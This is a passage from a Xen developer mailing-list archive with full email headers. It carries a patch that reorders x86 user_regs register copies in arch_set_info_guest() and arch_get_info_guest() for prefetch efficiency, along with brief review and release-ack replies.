         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Ahej6WuypYSzluxqOX3Irij++n39XtHnsh3l7+duD7g=;
        b=GIEnKf7ovk5dYIBXxf+TC74sYvgnc3wyK+BPdyq7+RJ0y5mXSzBngotO9/WgxisQs9
         fkRoXX0HtEFJLlGjNNCA0SJro7IJcOwsXC5oZnsaGrWjLW1wAY+c7gamxhI8aNa66Eqa
         hrZrFAKS1G3v/557JwDssIXe6zrx3SR8StIgKcyVuWLxa/Ap0Z0WwCoxkTQhyTsa4FrF
         M7imrK8FTG4/6bZOw/wR64i4zNXjvGef5UKRgApBojjwHTmRDL/Fe/ggBZ0aEaTZNppd
         XavSCcNAv8oE2T8et9jw2psjNrAGipIYPP4Evlc42lDO1nPvW8q/HEU1TpxZyUoTIOr+
         irYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784539159; x=1785143959;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Ahej6WuypYSzluxqOX3Irij++n39XtHnsh3l7+duD7g=;
        b=rb5YRX9WgmPYpBS799DYQdWEQigSTPMSiqkcnb4cnnFXEub6r6KcPtM/r5Lm3BKu0R
         KbA8fWjg2ihaXK0oQSNrB9WE7EevcFOp79EMNHefHYzzVnUvKvJk9njvntr/dhmwfzfe
         TKu5/1KyruoIMGcF0WfYARknDDGsY1umDCuLPo7mxINZvWcSul/YbMx5/s+q52MTH7a9
         WRh2e6+EKWZOoJ6WUitXP+91DjKGbEyVpZEd4SFifXxIgbVIrBt+jLjHhDA+tCKNZaBo
         qicfeo7VjfHfDAPCfgypVpWl1VwxKzwaYqk4onPcMVXCLGaC4qwFQ4Jmsp2XWHIl3ZG9
         gL4w==
X-Forwarded-Encrypted: i=1; AHgh+Rqluuc3swk+JfYIesWUIYCJY+SjA9vhOxVkS/erZT9r6H8LvW9/mN4LUIQuoLE1V1zKlTkR0irimdI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwAesRWT3q0LYuuxn/AwwqFvwI1ofDxKPa0UrjAEjWzI/fJXJxF
	7FPYZlvMKuSjwgTOloOlIyctu5kcLR/dDgYjYRjauG4xGEC7sfYrUSWE
X-Gm-Gg: AfdE7cmu97RUgMK2EtLSqS7V1Cayg/eqnfmSOlFH2BPHlEh7zoY197ob8+7AGOBmmEf
	pU4+6DuAMvqIOHgQ4zvGMXzkw04XVyH+rIRAwoyvpIkS3r8jbSzE6cYlqM5fD5udQ0HWIz6okLR
	RqMvOI3hp7irG9720UnSsFohjRRr23krv6WOnBUISkEFSDaQ0oMCp5YejCWkQxkOXkOvoLOi55W
	ZSLkiG5KMTBikRqTUJm2dEunNK9bAyVxDpkkPIi5gS4PaDF71pkNSz2aX9/TjMPJgz7GzvThLR+
	NPAkeB+VmJfQz/nw3M9HENI3cf82kDTnYcThyIFBe5sKZCvKZh4tS0q0w1h+PYnaFJ6GMR6eJWD
	PNX/X+t9AbYuu8xLUwmCMYTaDgs3XIv0dYwqU6egLJEE27VZuBdNjx6d+ZVzqneoizw7BB62zLl
	2v5dWNoMCK8SGG9Oq57vWJ6HB7p1oXrdf+zsntIugnxGaCmLcooMpmcZav
X-Received: by 2002:a05:600c:1d18:b0:495:515a:dad9 with SMTP id 5b1f17b1804b1-495515adc7fmr99342145e9.37.1784539158871;
        Mon, 20 Jul 2026 02:19:18 -0700 (PDT)
Message-ID: <0dc3f7cc-3886-42c7-b48f-c1c5d9ea17b0@gmail.com>
Date: Mon, 20 Jul 2026 11:19:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: Jan Beulich <jbeulich@suse.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, Andrew Cooper <andrew.cooper3@citrix.com>
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
 <9d04dfe8-97ae-4153-aa54-1bdbd31a7637@gmail.com>
 <876a3cff-7c8b-4dd7-a158-a3f531074250@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <876a3cff-7c8b-4dd7-a158-a3f531074250@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784539159-CF55C87B-8B645FF0/10/73395122804
X-purgate-type: spam
X-purgate-size: 396



On 7/20/26 11:11 AM, Jan Beulich wrote:
> On 20.07.2026 10:48, Oleksii Kurochko wrote:
>> Considering that it leads to crash of Linux I agree that we want to have
>> this in 4.22:
>>    Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Btw, I'm transcribing this to Release-acked-by: while preparing to commit.

Thanks. I missed to add Release-acked-by:

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:22:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:22:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366364.1616248 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkCy-0007A3-IS; Mon, 20 Jul 2026 09:22:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366364.1616248; Mon, 20 Jul 2026 09:22:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkCy-00079w-EY; Mon, 20 Jul 2026 09:22:44 +0000
Received: by outflank-mailman (input) for mailman id 1366364;
 Mon, 20 Jul 2026 09:22:43 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wlkCx-00079q-Dj
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:22:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkCw-00FGp5-LG
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:22:42 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a5de8e1-e002-0a2a0a5209dd-0a2a45039ccc-4
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:22:42 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a5de8e2-fae8-0a2a45030019-d1558034a5d6-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:22:42 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-495437bb891so27732505e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:22:42 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49549c96f19sm286910635e9.9.2026.07.20.02.22.40
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 02:22:40 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1784539362; x=1785144162; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KR02c25COt9569/260ZJnNz3j8QlMncfKgYgT6SB4Po=;
        b=CGemy8pgTY6y/Ybib9i2bviJNHxnToJlh2k2KY0ZpH9/TzZGm5d2uZ04ik5w7wq/eO
         BLT0aYko3WRxk9FTUWdW/tV20O3CH/h1pvXKSHVGJG7LRCsDVlfOfbeTaLLI+PIIGvhe
         +ZVvn84DDFLTWKPXGZ4uMfotpr6ZxLc0XNkso=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784539362; x=1785144162;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=KR02c25COt9569/260ZJnNz3j8QlMncfKgYgT6SB4Po=;
        b=E7GN7vrvrDiU+JrEI2rmqTOQCbHfCkRG29dyaglUEOiMlkJ0J04b4y1s+E+V8IRzlS
         L0D8D275lCtdRy5g2PuazPSeEfY4s3sqwu3YW/GXpwi/yT5YsWwGdOJ7f5BlF2Bwvbgt
         MJT0yVmZzx7c71S2+DSn53NZEaLfKG8BHhfQNOhciwfNwu8vYjhpEQqZBiOfgGcC0Mwr
         S7k85lqITqEYsl7DeSDEPHSH/j7AfHusf1SubK8HNJjQpdiQWK1x7UacdfuxvF5KyI1d
         xxeJ+UhaTCdhyWnEY45/k9zDZR++bi0dP+Svu0T6WxpcHWr8b+EbYJaGLJTH7rfmucoT
         R6lQ==
X-Gm-Message-State: AOJu0Yzx5EKPd2gOh9B2S46b0HqNvCuh2I+443JHbjkP4dvYBDRhgvU7
	A91/XwuIqQmtXo6KnHMM7oTg0uKU9UCWq6v433rhYmG5dqN2WWzakLr8OwO5jSqsz+5cVNwjCES
	Im46KGKs=
X-Gm-Gg: AfdE7cnsBIW7ZIArJWBqbyQrHX/L9UcQlsCHTRZ0LorhW7+eCX7GSFpErMMqKjUdTtp
	7KSx/gI2SrFwa6nbmls+X7g4dE6NBybxC85LJWq/esVo7iC7pgzMP3TKQj468DRVq2MkLpgDF9H
	3M0ESAbWVZ52UrKNXBoOSswMtbGvKJdMWILK/gOHsPVPeThX+g01opD7IZV0yvzWf9zeNCtqF5N
	W9gMNf/q6dvrGxLGEwV24HU91vQ2rbI6uewazxoiWt+smQMqqLru2UgeyCJ3EVd1pvgfcD4mQBE
	DYbvIgM2Yc9EDbKC7q5NOO9wkju7JIDegtSFJSABNCPHZk40hz/kRLqds5RhYJmEtp3Ikjc2RF7
	7MhZx+Y9maUOLbGIKCd7T/PSbJ28X7fnG4BJ0IDLJV2TK4WMiXvkgIfr4mt4I1omywpBwJdY7fL
	dyTuZYKibcP/N35l/MNS3KViimnqySAdhiQpnIHMRKaToZyWRiOeqZ
X-Received: by 2002:a05:600c:6289:b0:493:b4a3:5ab0 with SMTP id 5b1f17b1804b1-4954a33dc26mr133804815e9.13.1784539361410;
        Mon, 20 Jul 2026 02:22:41 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH] x86/domctl: Reorder user_regs accesses for efficiency
Date: Mon, 20 Jul 2026 10:22:38 +0100
Message-Id: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1784539362-6CCDB4E9-9091F2E2/0/0
X-purgate-type: clean
X-purgate-size: 5102

The current order is derived from expanding XLAT_cpu_user_regs() which uses
the x86_32 cpu_user_regs order.  This is correct for one the blocks, but not
the others.

In order to work with the prefetcher, rather than against it, loads want to be
in field order.  Make this so for the three paths reading an x86_64
cpu_user_regs.

No functional change.

Reported-by: Jan Beulich <jbeulich@suse.com>
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>
CC: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
 xen/arch/x86/domain.c |  6 +++---
 xen/arch/x86/domctl.c | 10 +++++-----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/xen/arch/x86/domain.c b/xen/arch/x86/domain.c
index 53a86ba373a4..996b50af7a17 100644
--- a/xen/arch/x86/domain.c
+++ b/xen/arch/x86/domain.c
@@ -1259,17 +1259,17 @@ int arch_set_info_guest(
         v->arch.user_regs.r14               = c.nat->user_regs.r14;
         v->arch.user_regs.r13               = c.nat->user_regs.r13;
         v->arch.user_regs.r12               = c.nat->user_regs.r12;
+        v->arch.user_regs.rbp               = c.nat->user_regs.rbp;
+        v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
         v->arch.user_regs.r11               = c.nat->user_regs.r11;
         v->arch.user_regs.r10               = c.nat->user_regs.r10;
         v->arch.user_regs.r9                = c.nat->user_regs.r9;
         v->arch.user_regs.r8                = c.nat->user_regs.r8;
-        v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
+        v->arch.user_regs.rax               = c.nat->user_regs.rax;
         v->arch.user_regs.rcx               = c.nat->user_regs.rcx;
         v->arch.user_regs.rdx               = c.nat->user_regs.rdx;
         v->arch.user_regs.rsi               = c.nat->user_regs.rsi;
         v->arch.user_regs.rdi               = c.nat->user_regs.rdi;
-        v->arch.user_regs.rbp               = c.nat->user_regs.rbp;
-        v->arch.user_regs.rax               = c.nat->user_regs.rax;
         v->arch.user_regs.rip               = c.nat->user_regs.rip;
         v->arch.user_regs.cs                = c.nat->user_regs.cs;
         v->arch.user_regs.rflags            = (c.nat->user_regs.rflags & X86_EFLAGS_ALL) | X86_EFLAGS_MBS;
diff --git a/xen/arch/x86/domctl.c b/xen/arch/x86/domctl.c
index 3ea4c650eee0..2ecd81d89b09 100644
--- a/xen/arch/x86/domctl.c
+++ b/xen/arch/x86/domctl.c
@@ -1485,17 +1485,17 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
         c.nat->user_regs.r14               = v->arch.user_regs.r14;
         c.nat->user_regs.r13               = v->arch.user_regs.r13;
         c.nat->user_regs.r12               = v->arch.user_regs.r12;
+        c.nat->user_regs.rbp               = v->arch.user_regs.rbp;
+        c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
         c.nat->user_regs.r11               = v->arch.user_regs.r11;
         c.nat->user_regs.r10               = v->arch.user_regs.r10;
         c.nat->user_regs.r9                = v->arch.user_regs.r9;
         c.nat->user_regs.r8                = v->arch.user_regs.r8;
-        c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
+        c.nat->user_regs.rax               = v->arch.user_regs.rax;
         c.nat->user_regs.rcx               = v->arch.user_regs.rcx;
         c.nat->user_regs.rdx               = v->arch.user_regs.rdx;
         c.nat->user_regs.rsi               = v->arch.user_regs.rsi;
         c.nat->user_regs.rdi               = v->arch.user_regs.rdi;
-        c.nat->user_regs.rbp               = v->arch.user_regs.rbp;
-        c.nat->user_regs.rax               = v->arch.user_regs.rax;
         c.nat->user_regs.rip               = v->arch.user_regs.rip;
         c.nat->user_regs.cs                = v->arch.user_regs.cs;
         c.nat->user_regs.rflags            = v->arch.user_regs.rflags;
@@ -1514,13 +1514,13 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
     else
     {
         /* Backing memory is pre-zeroed. */
+        c.cmp->user_regs.ebp               = v->arch.user_regs.ebp;
         c.cmp->user_regs.ebx               = v->arch.user_regs.ebx;
+        c.cmp->user_regs.eax               = v->arch.user_regs.eax;
         c.cmp->user_regs.ecx               = v->arch.user_regs.ecx;
         c.cmp->user_regs.edx               = v->arch.user_regs.edx;
         c.cmp->user_regs.esi               = v->arch.user_regs.esi;
         c.cmp->user_regs.edi               = v->arch.user_regs.edi;
-        c.cmp->user_regs.ebp               = v->arch.user_regs.ebp;
-        c.cmp->user_regs.eax               = v->arch.user_regs.eax;
         c.cmp->user_regs.eip               = v->arch.user_regs.eip;
         c.cmp->user_regs.cs                = v->arch.user_regs.cs;
         c.cmp->user_regs.eflags            = v->arch.user_regs.eflags;
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:24:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:24:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366372.1616255 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkEy-0007eJ-SL; Mon, 20 Jul 2026 09:24:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366372.1616255; Mon, 20 Jul 2026 09:24:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkEy-0007eC-Pc; Mon, 20 Jul 2026 09:24:48 +0000
Received: by outflank-mailman (input) for mailman id 1366372;
 Mon, 20 Jul 2026 09:24:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlkEx-0007e6-89
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:24:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkEw-00FHGH-L6
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:24:46 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de95c-2eae-0a2a0a5409dd-0a2a4504c00e-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:24:46 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5de95e-b57f-0a2a45040019-d1558035dd09-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:24:46 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-4954d383e64so13551975e9.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:24:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49563969482sm13264435e9.3.2026.07.20.02.24.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 02:24:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784539486; x=1785144286; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Mg49d2uHDrySGYWaWYu6sAnX/u1V5+K2k0j/XhpA/eU=;
        b=aI35841E3pk1tQCKpQkIyedj0buzkzgZEb2XR4Vvi3c8EB8fh1ZH9OgR5Aa6LE0jz9
         G2xNG7PfU0jZGUxNZmnAco3A3Koxp2SBxhw9qHp644EQke9Gw5S1lSjqYr3tX8ldWRLG
         g5Dp1cP2cuqrx8eRgxtU7d6H2trtMddPyWhcGa9+C5dlv9MRDO+n6s2SAE8qHcVJo6+V
         AOMf9iwOO9oZnd8ECC93nzwLF6G4uDUn041w2yjjVpLvol3aMTHC2a7gfOfggT+zMrqm
         qeyp1CiwxKJjDu8qwNrvoF9ioYNhg09HiX30QPs6toxMCRVOcPrv9Dd3Uim3J1wArcjm
         dDxA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784539486; x=1785144286;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Mg49d2uHDrySGYWaWYu6sAnX/u1V5+K2k0j/XhpA/eU=;
        b=bqX7oSV17VJa1ruULpK7er6INU3uWVvSZv4CNYSu9PPviJK9MOmEt0kN2RmXPMfPc/
         9Y0GWyZAjbuRp4yea+hsYhVQKN+94jcX7tTzn6DacvQJwp1E56pUMqGkQirgdDncqr/U
         IDa7RWE6NwZMg1J5+3aP4VlcpQRw5KXNLQnyOIuFKZe1urYiTNPc89Mu8bB44DkWqqZa
         fmbUmEtLh9JGBePwxLuPg3h3pc/JBVgKjbYj2FizVZi5QmEl+43Stpe7tVKGJUZPk1TP
         fsh6XSHHnjP68mIi5UuByO1PrbLYsAhjW2+B+cHYF8ktUHPSsmv3q/uNn3o3/tZV7g0r
         JwjA==
X-Forwarded-Encrypted: i=1; AHgh+Rpc4BsHu6r2CSE11bpryx167yQlolmFGgMrWzAGbbaT6Nf0n0mR5nUglMJrgJ6aAP1zdTZG+Or5txQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyyupXyK6h7wnorRGDUbAI+CdBNF/xHLQC8kn4Z6/RFMHPr+vlj
	ddOLlq3mvZ/DkHaW2PZFpy5bxg559bBIWf6vsHcB7lqsHYxUOLqr5/0zE9MvLX4H6A==
X-Gm-Gg: AfdE7ckelqd3t/GWncEs0BWJiZt17B+7hV/AsRC0sllKthXQuG4/BO8zDxI6ilr9JzH
	VAMR3f5ootY1URbCipdKO1gtxUR5fBTU6lov2EKXFmRn29+mYkug0+w7w0eouWI7H2dXgDVa2kp
	eGB0BKsu9hbaz9nSF1HRe3amR+FZlGXZPuZtNjWdbQhwwUBLy6TjMc52cYELrKAFgCDeVdJ2Z1c
	jDmXNYDUfJFbtu5ym05gKSOlCRbiJ7qsLSlyCa1AsocPtp8XJG6lV8l84+ToWvB94nvHOhM1CEj
	ZmnmqSSzkvDg87C07NcDJ5fT2iQhBvDVN7eQ0KCxsyGaQO4DLQL4HQYsSlXhn0BRQ/3k26tQecL
	fRaRGDcKJKAUdfPcUzKWh3fjRlsl6oTR6PNPQbcTab5yJZAHRNyJKRtCu4vlefOzRexKThSroU+
	bz2M6a8JCOj1GPDnLBlWNQmwx7NXSistWhF4sHC0kCnZbOxLEc6NyMEAwb6Hu3KK8CHPUUIAkmO
	wB4
X-Received: by 2002:a05:600c:4687:b0:495:4df2:7412 with SMTP id 5b1f17b1804b1-4954df27450mr119124705e9.32.1784539486057;
        Mon, 20 Jul 2026 02:24:46 -0700 (PDT)
Message-ID: <8dc8f977-73af-4167-84d0-af78515d9c86@suse.com>
Date: Mon, 20 Jul 2026 11:24:46 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/domctl: Reorder user_regs accesses for efficiency
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, Xen-devel <xen-devel@lists.xenproject.org>
References: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1R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jp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784539486-C04DBB50-86A80E2E/0/0
X-purgate-type: clean
X-purgate-size: 583

On 20.07.2026 11:22, Andrew Cooper wrote:
> The current order is derived from expanding XLAT_cpu_user_regs() which uses
> the x86_32 cpu_user_regs order.  This is correct for one the blocks, but not
> the others.
> 
> In order to work with the prefetcher, rather than against it, loads want to be
> in field order.  Make this so for the three paths reading an x86_64
> cpu_user_regs.
> 
> No functional change.
> 
> Reported-by: Jan Beulich <jbeulich@suse.com>
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 09:25:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 09:25:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366379.1616265 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkFn-00086F-4R; Mon, 20 Jul 2026 09:25:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366379.1616265; Mon, 20 Jul 2026 09:25:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkFn-000868-1b; Mon, 20 Jul 2026 09:25:39 +0000
Received: by outflank-mailman (input) for mailman id 1366379;
 Mon, 20 Jul 2026 09:25:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@swg.vates.tech>)
 id 1wlkFl-00085s-HL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:25:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkFj-000dZh-Ma
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 11:25:35 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f7ed8472c000edb5@swg.vates.tech>)
 id 6a5de98b-2eae-0a2a0a5409dd-0a2a450791a6-14
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 11:25:35 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
